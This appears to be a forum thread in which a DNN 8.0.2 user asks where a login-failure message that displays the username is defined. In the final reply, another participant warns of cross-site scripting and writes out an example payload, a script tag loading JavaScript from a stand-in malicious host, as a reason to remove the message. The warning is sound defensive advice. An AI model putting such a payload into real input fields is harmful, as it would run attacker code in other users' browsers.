Our software uses DNN as its front end.  We are currently on version 8.0.2.  We deploy in secure environments and there is an issue with the fact that the current authentication failure message displayed to the user contains their username.  I have tried to figure out where to go to change this message, but after looking through resource files and aspx files I've had no luck.

If someone could point me to where this string is defined, I would greatly appreciate it.

Thanks,

 Kevin

Hi Michael, thanks for the reply.  We are using a custom authentication provider that uses our software's API to authenticate users.  I understand the message might be defined somewhere in that provider, but I've been unable to find where.  It doesn't seem to be in resource files or code.

Kevin,

great that you found it.

You should really get rid of the message, as it could be an entry point for XSS attacks. Imagine someone enters

<script src="http://www.malicious.com/scripts/dosomethingbad.js" type="text/javascript"></script>

in the username field...

Happy DNNing!
Michael

---